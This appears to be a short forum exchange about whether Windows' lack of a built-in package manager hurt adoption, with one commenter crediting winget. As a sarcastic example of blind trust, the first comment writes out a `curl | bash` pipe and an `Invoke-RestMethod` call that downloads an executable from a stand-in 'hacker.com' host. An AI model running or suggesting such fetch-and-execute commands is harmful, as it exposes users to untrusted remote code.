meh. it's not.

If you are convincing people to run commands to install packages:

- they care about trust, they will already have their package manager from the ecosystem they trust (which should be msys+pacman on windows, btw)

- they couldn't care less and will trust your `curl | bash` or `Invoke-RestMethod -Uri http://hacker.com/totallysafe.exe`

on both cases, not having a default package manager shipped caused zero adoption attrition, I mean, besides the attrition of needing a non-standard package to begin with.

IMHO it is though. I have a windows VM I rarely use and tried using a package manager at some point, but end up not succeeding until winget was part of the system and was a no-brainer.

Too many possibilities made me choose none.
